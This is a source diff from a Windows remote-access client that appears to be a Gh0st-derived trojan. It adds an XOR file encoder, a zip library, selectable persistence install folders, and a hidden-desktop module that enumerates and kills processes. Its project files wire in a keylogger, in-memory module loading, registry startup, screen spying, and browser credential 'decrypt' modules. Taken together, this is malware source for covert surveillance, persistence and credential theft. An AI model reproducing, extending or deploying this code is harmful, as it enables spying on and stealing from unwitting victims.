Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
writePDF(savePath, data, size);
} else {
encode(data, size);
if (_signLen > 0) {
unsigned char* p = new unsigned char[size + _signLen];
memcpy(p, _sign, _signLen);
memcpy(p + _signLen, data, size);
writePDF(savePath, p, size + _signLen);
delete[] p;
} else {
writePDF(savePath, data, size);
}
}
delete[] data;
}
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
writePDF(savePath, data, size);
} else if (memcmp(data, _sign, _signLen) == 0) {
unsigned char* p = (data + _signLen);
decode(p, size - _signLen);
writePDF(savePath, p, size - _signLen);
} else {
Mprintf("解密失败: %s\n", pdfPath.c_str());
}
delete[] data;
}
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
{
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
return data;
} else if (memcmp(data, _sign, _signLen) == 0) {
size -= _signLen;
unsigned char* p = new unsigned char[size];
memcpy(p, data + _signLen, size);
decode(p, size);
delete[] data;
return p;
} else {
return data;
}
}
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <string>
namespace SimplePluginsFile {
class MasterEncoder
{
public:
MasterEncoder();
~MasterEncoder();
void setSignAndKey(char* sign, int signLen, unsigned char key);
void decode(unsigned char* data, long size);
void encode(unsigned char* data, long size);
void writePDF(const std::string& filePath, unsigned char* data, long size);
unsigned char* readPDF(const std::string& filepath, long& size);
public:
void encodePDF(const std::string& pdfPath, const std::string& savePath);
void decodePDF(const std::string& pdfPath, const std::string& savePath);
unsigned char* decode(const std::string& pdfPath, long& size);
private:
unsigned char _codeKey;
char* _sign;
int _signLen;
};
}
+2911
View File
File diff suppressed because it is too large. Load diff
+207
View File
@@ -0,0 +1,207 @@
//
//http://www.codeproject.com/KB/files/zip_utils.aspx
//
#ifndef _zip_H
#define _zip_H
// ZIP functions -- for creating zip files
// This file is a repackaged form of the Info-Zip source code available
// at www.info-zip.org. The original copyright notice may be found in
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
// extend its use in Windows/C++. Also to add encryption and unicode.
#ifndef _unzip_H
DECLARE_HANDLE(HZIP);
#endif
// An HZIP identifies a zip file that is being created
typedef DWORD ZRESULT;
// return codes from any of the zip functions. Listed later.
HZIP CreateZip(const TCHAR* fn, const char* password);
HZIP CreateZip(void* buf, unsigned int len, const char* password);
HZIP CreateZipHandle(HANDLE h, const char* password);
// CreateZip - call this to start the creation of a zip file.
// As the zip is being created, it will be stored somewhere:
// to a pipe: CreateZipHandle(hpipe_write);
// in a file (by handle): CreateZipHandle(hfile);
// in a file (by name): CreateZip("c:\\test.zip");
// in memory: CreateZip(buf, len);
// or in pagefile memory: CreateZip(0, len);
// The final case stores it in memory backed by the system paging file,
// where the zip may not exceed len bytes. This is a bit friendlier than
// allocating memory with new[]: it won't lead to fragmentation, and the
// memory won't be touched unless needed. That means you can give very
// large estimates of the maximum-size without too much worry.
// As for the password, it lets you encrypt every file in the archive.
// (This api doesn't support per-file encryption.)
// Note: because pipes don't allow random access, the structure of a zipfile
// created into a pipe is slightly different from that created into a file
// or memory. In particular, the compressed-size of the item cannot be
// stored in the zipfile until after the item itself. (Also, for an item added
// itself via a pipe, the uncompressed-size might not either be known until
// after.) This is not normally a problem. But if you try to unzip via a pipe
// as well, then the unzipper will not know these things about the item until
// after it has been unzipped. Therefore: for unzippers which don't just write
// each item to disk or to a pipe, but instead pre-allocate memory space into
// which to unzip them, then either you have to create the zip not to a pipe,
// or you have to add items not from a pipe, or at least when adding items
// from a pipe you have to specify the length.
// Note: for windows-ce, you cannot close the handle until after CloseZip.
// but for real windows, the zip makes its own copy of your handle, so you
// can close yours anytime.
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
// ZipAdd - call this for each file to be added to the zip.
// dstzn is the name that the file will be stored as in the zip file.
// The file to be added to the zip can come
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
// from a file: ZipAddHandle(hz,"file.dat", hfile);
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
// (folder): ZipAddFolder(hz,"subdir");
// Note: if adding an item from a pipe, and if also creating the zip file itself
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
// function. This will let the zipfile store the item's size ahead of the
// compressed item itself, which in turn makes it easier when unzipping the
// zipfile from a pipe.
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
// then this function will return information about that memory block.
// buf will receive a pointer to its start, and len its length.
// Note: you can't add any more after calling this.
ZRESULT CloseZip(HZIP hz);
// CloseZip - the zip handle must be closed with this function.
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
// FormatZipMessage - given an error code, formats it as a string.
// It returns the length of the error message. If buf/len points
// to a real buffer, then it also writes as much as possible into there.
// These are the result codes:
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
// The following come from general system stuff (e.g. files not openable)
#define ZR_GENMASK 0x0000FF00
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
#define ZR_WRITE 0x00000400 // a general error writing to the file
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
#define ZR_READ 0x00000800 // a general error reading the file
// The following come from mistakes on the part of the caller
#define ZR_CALLERMASK 0x00FF0000
#define ZR_ARGS 0x00010000 // general mistake with the arguments
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
// The following come from bugs within the zip library itself
#define ZR_BUGMASK 0xFF000000
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
// e.g.
//
// (1) Traditional use, creating a zipfile from existing files
// HZIP hz = CreateZip("c:\\simple1.zip",0);
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
// CloseZip(hz);
//
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
// HZIP hz = CreateZip(0,100000, 0);
// // adding a conventional file...
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
// // adding something from memory...
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
// ZipAdd(hz,"file.dat", buf,1000);
// // adding something from a pipe...
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread); CloseHandle(hread);
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
// { HANDLE hwrite = (HANDLE)dat;
// char buf[1000]={17};
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
// CloseHandle(hwrite);
// return 0;
// }
// // and now that the zip is created, let's do something with it:
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
// CloseHandle(hfz);
// CloseZip(hz);
//
// (3) Handle use, for file handles and pipes
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
// HZIP hz = CreateZipHandle(hzwrite,0);
// // ... add to it
// CloseZip(hz);
// CloseHandle(hzwrite);
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread);
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
// { HANDLE hread = (HANDLE)dat;
// char buf[1000];
// while (true)
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
// // ... and do something with this zip data we're receiving
// if (red==0) break;
// }
// CloseHandle(hread);
// return 0;
// }
// Now we indulge in a little skullduggery so that the code works whether
// the user has included just zip or both zip and unzip.
// Idea: if header files for both zip and unzip are present, then presumably
// the cpp files for zip and unzip are both present, so we will call
// one or the other of them based on a dynamic choice. If the header file
// for only one is present, then we will bind to that particular one.
ZRESULT CloseZipZ(HZIP hz);
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
bool IsZipHandleZ(HZIP hz);
#ifdef _unzip_H
#undef CloseZip
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
#else
#define CloseZip CloseZipZ
#define FormatZipMessage FormatZipMessageZ
#endif
#endif
+28
View File
@@ -185,6 +185,7 @@
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
@@ -193,6 +194,13 @@
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
@@ -213,6 +221,7 @@
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
@@ -224,6 +233,9 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
@@ -234,6 +246,7 @@
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
@@ -245,6 +258,13 @@
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
@@ -267,6 +287,7 @@
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
@@ -279,6 +300,13 @@
<ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
+207
View File
@@ -0,0 +1,207 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp" />
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
<ClCompile Include="decrypt\DecryptManager.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\Get360seInfo.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\GetBrowserInfo.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\UnCode.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\sqlite3\rijndael.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\sqlite3\sqlite3.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\cJSON\cJSON.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\base64\base64.c">
<Filter>decrypt</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="ClientApp.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="my_clip.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="decrypt\DecryptManager.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\Get360seInfo.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\GetBrowserInfo.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\UnCode.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\rijndael.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\sqlite3.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\cJSON\cJSON.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\base64\base64.h">
<Filter>decrypt</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Filter Include="decrypt">
<UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
</Filter>
</ItemGroup>
</Project>
+6 -1
View File
@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
param.User = g_Server.pwdHash;
threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
} else if (fdwReason == DLL_PROCESS_DETACH) {
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
if (threadHandle) {
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
TerminateThread(threadHandle, 0x20250619);
}
}
return TRUE;
}
+22 -4
View File
@@ -371,10 +371,28 @@ BOOL CreateDirectoryRecursively(const char* path)
return TRUE;
}
const char* GetInstallDirectory(const char * startupName)
const char* GetInstallDirectory(const char * startupName, int flag)
{
static char folder[MAX_PATH] = { 0 };
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) {
char env[32] = { 0 };
switch (flag) {
case 1:
strcpy(env, "ProgramFiles");
break;
case 2:
strcpy(env, "SystemRoot"); // Windows 目录,通常 C:\Windows
break;
case 3:
strcpy(env, "APPDATA"); // 当前用户的漫游应用数据目录,即 ...\AppData\Roaming
break;
case 4:
strcpy(env, "LOCALAPPDATA"); // 当前用户的本地应用数据目录,即 ...\AppData\Local
break;
default: // 0
strcpy(env, "ProgramData");
break;
}
if (GetEnvironmentVariableA(env, folder, MAX_PATH) > 0) {
size_t len = strlen(folder);
if (len > 0 && folder[len - 1] != '\\') {
folder[len] = '\\';
@@ -390,7 +408,7 @@ const char* GetInstallDirectory(const char * startupName)
return folder;
}
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag)
{
#ifdef _DEBUG
return 1;
@@ -401,7 +419,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
if (GetUserNameA(username, &size)) {
Mprintf("RegisterStartup is running with user: %s. Dir: %s, Name: %s\n", username, startupName, exeName);
}
const char *folder = GetInstallDirectory(startupName);
const char *folder = GetInstallDirectory(startupName, flag);
if (!folder) {
return -1;
}
+2 -2
View File
@@ -1,13 +1,13 @@
#pragma once
#include <stdbool.h>
const char* GetInstallDirectory(const char* startupName);
const char* GetInstallDirectory(const char* startupName, int flag);
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
// return > 0 means to continue running else terminate.
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag);
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
bool IsSystemInSession0();
+7 -2
View File
@@ -9,14 +9,19 @@
#define IDI_ICON2 105
#define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000
#define IDD_CHAT 106
#define IDC_EDIT_CHATLOG 1001
#define IDC_EDIT_NEWMSG 1002
#define IDC_BUTTON_SEND 1003
#define IDC_BUTTON_END 1004
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 106
#define _APS_NEXT_RESOURCE_VALUE 107
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
+615
View File
@@ -0,0 +1,615 @@
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
//
//////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include <Windowsx.h>
#include "ScreenHideManager.h"
#include <WinUser.h>
#include <string>
#include <Shlwapi.h>
#include <ShlObj.h>
#include <Tlhelp32.h>
#include <shellapi.h>
#include <winioctl.h>
#include <Wtsapi32.h>
#include <set>
#include <vector>
#pragma comment (lib, "Shlwapi.lib")
namespace SimplePluginsScreenHide {
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
// 获取指定桌面下的所有进程ID
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
std::set<DWORD> pidSet;
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (SetThreadDesktop(hDesk)) {
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
// 跳过不可见窗口和子窗口
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
if (pid != 0) pids.insert(pid);
}
return TRUE;
}, reinterpret_cast<LPARAM>(&pidSet));
SetThreadDesktop(hOriginalDesk);
}
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
}
bool IsSystemProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return true;
char exeName[MAX_PATH];
DWORD size = MAX_PATH;
bool isSystem = false;
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
isSystem = (_stricmp(exeName, szExplorerFile)==0);
}
CloseHandle(hProcess);
return isSystem;
}
void SafeTerminateDesktopProcesses(HDESK hDesk) {
// 检查桌面句柄有效性
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
// 获取当前桌面(用于恢复)
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (!hOriginalDesk) {
Mprintf("Failed to get original desktop\n");
return;
}
// 切换桌面
if (!SetThreadDesktop(hDesk)) {
Mprintf("SetThreadDesktop failed\n");
return;
}
// 枚举进程
auto pids = GetProcessIdsInDesktop(hDesk);
SetThreadDesktop(hOriginalDesk); // 立即恢复
// 终止进程
for (DWORD pid : pids) {
if (pid == GetCurrentProcessId()) continue; // 跳过自己
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed for PID: %d\n", pid);
continue;
}
// 检查是否为系统进程
if (IsSystemProcess(pid)) {
CloseHandle(hProcess);
continue;
}
// 终止进程
if (!TerminateProcess(hProcess, 0)) {
Mprintf("TerminateProcess failed for PID: %d\n", pid);
}
CloseHandle(hProcess);
}
}
void CopyDir(TCHAR* from, TCHAR* to)
{
TCHAR fromWildCard[MAX_PATH] = { 0 };
lstrcpy(fromWildCard, from);
lstrcat(fromWildCard, _T("\\*"));
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
return;
WIN32_FIND_DATA findData;
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
